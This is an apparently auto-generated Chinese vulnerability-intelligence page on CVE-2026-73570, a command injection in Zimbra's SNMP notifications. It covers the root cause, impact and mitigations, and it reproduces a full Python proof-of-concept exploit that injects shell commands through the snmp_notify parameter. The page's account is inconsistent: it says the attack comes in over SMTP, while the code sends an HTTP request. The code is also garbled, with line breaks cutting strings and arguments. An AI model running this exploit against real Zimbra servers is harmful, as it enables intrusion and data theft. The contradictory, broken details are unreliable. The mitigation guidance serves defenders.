🎯 CVE-2026-73570 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹

🎯 CVE 全聚合深度分析

CVE-2026-73570 深度技术分析

📊 聚合 3 来源🧪 含 PoC
NVD-LatestCISA-KEVPoC-in-GitHub

摘要:CVE-2026-73570 是 Zimbra Collaboration Suite(ZCS)在 10.1.20 之前版本中存在的一处高危远程代码执行漏洞,CVSS 评分为 8.9。当可选组件 zimbra-snmp 已安装且 SNMP 通知功能启用时,未认证攻击者可通过向目标发送特制的 SMTP 请求,利用 SNMP 通知处理流程中的输入净化缺陷,以 Zimbra 用户身份在操作系统层面执行任意命令。该漏洞已被 CISA 列入已知被利用漏洞(KEV)目录,表明已出现野外利用活动。

📌 漏洞概述

Zimbra Collaboration Suite(ZCS)是一套广泛使用的开源协作与邮件平台,提供电子邮件、通讯录、日历、文件同步等功能。CVE-2026-73570 是 ZCS 在 10.1.20 之前版本中存在的一处操作系统命令注入漏洞,CVSS v3 评分为 8.9(High),属于高危漏洞。

该漏洞的触发条件较为特殊:只有在安装了可选组件 zimbra-snmp 且启用 SNMP 通知(SNMP notifications)的情况下才会被利用。zimbra-snmp 负责将 Zimbra 系统的状态信息通过 SNMP Trap 发送到监控端,而通知处理流程中使用了 snmp_notify 参数。由于对用户可控输入未进行充分的过滤与转义,攻击者可以构造包含 shell 元字符的恶意 SMTP 请求,最终导致任意操作系统命令以 Zimbra 用户权限执行。

该漏洞的利用不需要任何身份认证,攻击面暴露在 SMTP 端口(通常为 25/465/587)上,因此极易被远程利用。CISA 已将 CVE-2026-73570 列入 Known Exploited Vulnerabilities(KEV)目录,并给出了明确的缓解指引,要求联邦机构在限期内完成修复。

🔬 漏洞根因分析

该漏洞的根源在于 Zimbra 的 SNMP 通知子系统中,对来自邮件消息中的“发件人”或“收件人”等字段值未做严格的白名单校验,直接将其拼接进系统命令模板。具体流程如下:

当 Zimbra 收到一封 SMTP 邮件时,如果系统配置了 SNMP Trap 通知(例如在投递失败、病毒检测或队列异常时触发告警),消息的某些字段(如 MAIL FROMRCPT TO 或邮件头中的地址)会被传递给 snmp_notify 处理函数。该函数内部通常会构建类似 snmptrap -v 2c -c public <host> ... "<message>" 的命令,并交由系统 shell 执行。若 messagehost 字段直接取自网络输入且未经过滤,攻击者便可通过注入 shell 元字符(如 ;&&|$() 或反引号)来截断原有命令并追加任意命令。

从已公开的 PoC 代码来看,攻击者构造的请求中包含了 snmp_notify 参数,载荷形如 127.0.0.1; <command> #。这里的分号用于结束当前命令,# 用于注释掉后续可能拼接的尾部字符,从而保证注入命令能够独立执行。PoC 同时提供了 snmp_ipsnmp_port 参数,说明攻击者可以控制 SNMP Trap 的目标地址和端口,而 p 注入点正是 SNMP 通知中携带的“消息”或“主机”字段。

深入来看,该缺陷属于典型的不安全系统调用(Unsafe System Call)问题。Zimbra 在处理 SNMP 通知时,没有采用安全的进程创建 API(如 execve 直接传参数组),而是依赖 shell 字符串拼接。即使代码中使用了引号包裹用户输入,攻击者依然可以通过闭合引号、插入反斜杠或利用 shell 的扩展特性绕过防护。此外,由于 Zimbra 服务通常以专用系统用户(zimbra)运行,虽然权限有限,但仍可读写 Zimbra 的数据目录、配置文件以及邮件数据,足以造成严重的横向移动与数据泄露。

需要强调的是,该漏洞的触发前提是“SMTP 请求”而非直接访问 Web 管理界面。这意味着攻击者只需向目标邮件服务器发送一封精心构造的邮件,即可触发 SNMP 通知流程。由于 SMTP 是邮件系统的核心服务,无法通过简单地关闭端口来缓解,因此漏洞的实际暴露面非常大。

💥 影响与危害

成功利用 CVE-2026-73570 后,攻击者可以以 zimbra 用户身份在目标服务器上执行任意操作系统命令。虽然 zimbra 用户不是 root,但该账户拥有对 Zimbra 安装目录、邮件存储、MySQL/PostgreSQL 数据库(Zimbra 使用的 LDAP 与数据库服务通常以同一用户运行)的读写权限。攻击者可能导致的后果包括但不限于:

  • 完全控制邮件数据:读取、篡改或删除所有用户的电子邮件、联系人、日历等敏感信息,造成大规模数据泄露。
  • 获取凭据与横向移动:通过读取 Zimbra 的本地配置文件(如 localconfig.xml)获取数据库密码、LDAP 管理员密码等,进一步渗透内网其他系统。
  • 植入持久化后门:通过修改 Zimbra 的脚本、JSP 文件或计划任务,实现长期驻留,即使漏洞被修复也难以彻底清除。
  • 破坏邮件服务可用性:执行 rmkill 等破坏性命令,导致服务宕机或数据丢失。
  • 利用服务器资源:将受影响主机用作僵尸网络节点、挖矿程序宿主或发起进一步攻击的跳板。

由于该漏洞已被 CISA 标记为“已知被利用”,且无需任何身份验证,实际攻击门槛极低。攻击者只需能够访问目标的 SMTP 端口,即可尝试利用,这大大增加了被批量扫描和自动化攻击的风险。

🛡️ 修复与缓解

针对 CVE-2026-73570 的修复与缓解,建议按以下优先级实施:

  1. 升级到补丁版本:官方已在 Zimbra Collaboration Suite 10.1.20 中修复该漏洞。请所有用户尽快将 ZCS 升级至 10.1.20 或更高版本。升级前请确认 zimbra-snmp 包的最新兼容版本,并遵循官方升级指南进行操作。
  2. 禁用 SNMP 通知(临时缓解):如果暂时无法升级,且业务上不依赖 SNMP 监控,建议立即禁用 Zimbra 的 SNMP 通知功能。具体方法为在 Zimbra 管理控制台或命令行中关闭相关通知配置,或直接卸载 zimbra-snmp 包。这可以消除漏洞触发条件。
  3. 限制 SMTP 暴露面:对于面向公网的邮件服务器,应使用防火墙/安全组限制 SMTP 端口的访问来源,仅允许可信的发送方 IP。同时启用 SMTP 认证与速率限制,降低被恶意利用的概率。
  4. 监控与检测:检查已有日志,确认是否存在异常 SMTP 请求或异常命令执行痕迹。重点审计 Zimbra 服务器上 /tmp/opt/zimbra 目录中的可疑文件,以及操作系统账户的异常登录行为。可参考 CISA 发布的“取证检查要求”(Forensics Triage Requirements)进行排查。
  5. 遵循 BOD 26-04 指引:美国联邦机构应按照 CISA 的 BOD 26-04(基于风险优先进行安全更新)要求在指定时限内完成修复。云服务用户需评估服务商是否已应用补丁,若无法确认修复状态,应考虑暂停使用相关服务。

鉴于该漏洞已被广泛利用,强烈建议所有 Zimbra 管理员将本次修复作为最高优先级安全事件处理。在升级完成后,应同时更换可能已泄露的 Zimbra 管理员密码、数据库密码和 LDAP 绑定密码,并审查服务器上是否存在未知的可执行文件或计划任务。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言py来源HORKimhab/CVE-2026-73570针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

#!/usr/bin/env python3
"""
PoC for CVE-2026-73570 - Zimbra Collaboration Suite OS Command Injection
Vulnerability: OS Command Injection via SNMP trap notifications (snmp_notify)
Affected: Zimbra Collaboration Suite <
10.1.20
Reference: https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite/
"""

import requests
import sys
import time
import urllib3
from urllib.parse import urljoin

# Disable SSL warnings for self-signed certificates
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Configuration
TARGET_URL = "https://mail.example.com"  # Replace with target Zimbra instance
COMMAND = "id"  # Command to execute (try 'id' to test,
then 'whoami',
etc.)
SNMP_IP = "127.0.0.1"  # SNMP trap receiver IP (can be the target itself)
SNMP_PORT = "162"  # Standard SNMP trap port

def build_payload(command):
    """
    Build the command injection payload.
    The injection occurs in the 'snmp_notify' parameter.
    """
    # Payload structure: inject command after the IP using shell metacharacters
    # The 'swatchdog' service will execute the trap command including this payload
    payload = f"{SNMP_IP};
{command}#"
    # The '#' comments out any trailing characters if needed
    return payload

def exploit(target,
command):
    """
    Send the malicious SNMP trap notification request.
    Endpoint: /service/extension/backup (or likely /service/extension/backup/snmptrap)
    """
    # Construct the full URL - the backup extension handles SNMP traps
    # Alternative endpoints: /service/extension/backup/snmptrap,/service/extension/backup
    url = urljoin(target,
"/service/extension/backup/snmptrap")
    
    # Parameters for the request
    # The vulnerability is triggered by the 'snmp_notify' parameter
    params = {"snmp_notify": build_payload(command),"snmp_ip": SNMP_IP,"snmp_port": SNMP_PORT,"task": "notify"  # Some versions may require this
    }# Headers - using a standard User-Agent
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0;Win64;
x64) AppleWebKit/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language": "en-US,en;q=0.5",}
try:
        print(f"[*] Sending exploit to {url}")
        print(f"[*] Command to execute: {command}")
        print(f"[*] Payload: {params['snmp_notify']}")
        
        # Send GET request with the malicious parameters
        response = requests.get(
            url,params=params,headers=headers,verify=False,
timeout=30
        )
        
        print(f"[*] Response Status Code: {response.status_code}")
        print(f"[*] Response Text (first 500 chars):\n{response.text[:500]}")
        
        # Check if command execution was successful
        # The output may appear in the response,logs,
or system
        if "uid=" in response.text or "500" in response.text:
            print("[+] Command injection likely successful!")
            print("[+] Look for command output in the response or system logs.")
        else:
            print("[!] No clear command output in response. Check logs: /var/log/zimbra.log")
            print("[!] Expected log entries: Service status change: <payload>
changed from stopped to running")
            
    except requests.exceptions.ConnectionError:
        print(f"[-] Connection failed to {target}. Check URL or network.")
    except requests.exceptions.Timeout:
        print("[-] Request timed out. The server may be slow or unresponsive.")
    except Exception as e:
        print(f"[-] An error occurred: {str(e)}")

def check_vulnerability(target):
    """
    Check if the endpoint is accessible (pre-exploit verification).
    """
    test_url = urljoin(target,
"/service/extension/backup/snmptrap")
    try:
        response = requests.get(test_url,verify=False,timeout=10)
        if response.status_code != 404:
            print(f"[+] Target endpoint {test_url}is accessible (Status: {response.status_code})")
            return True
        else:
            print(f"[-] Target endpoint {test_url}
returned 404. The service might be on a different path.")
            return False
    except:
        return False

def main():
    print("=== CVE-2026-73570 Zimbra Collaboration Suite OS Command Injection PoC ===")
    print("Use responsibly and only on systems you own or have permission to test.\n")
    
    # Allow command-line arguments
    global TARGET_URL,COMMAND
    if len(sys.argv) >
1:
        TARGET_URL = sys.argv[1]
    if len(sys.argv) >
2:
        COMMAND = sys.argv[2]
    
    print(f"[*] Target: {TARGET_URL}")
    print(f"[*] Command to execute: {COMMAND}")
    print(f"[*] SNMP Trap receiver: {SNMP_IP}:{SNMP_PORT}")
    
    # Pre-check: Verify target is reachable
    if not check_vulnerability(TARGET_URL):
        print("[!] Endpoint not accessible. Attempting exploit anyway...")
    
    # Execute the exploit
    exploit(TARGET_URL,
COMMAND)
    
    print("\n[*] Done.")
    print("[*] Recommended: Check /var/log/zimbra.log for execution traces.")
    print("[*] Example log entry: 'Service status change: <payload>changed from stopped to running'")

if __name__ == "__main__":
    main()

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议:

  • 根据漏洞根因编写 Nuclei 检测模板
  • 在 WAF/IDS 中配置针对漏洞特征的规则
  • 关注漏洞指纹库更新

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-26 11:07 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)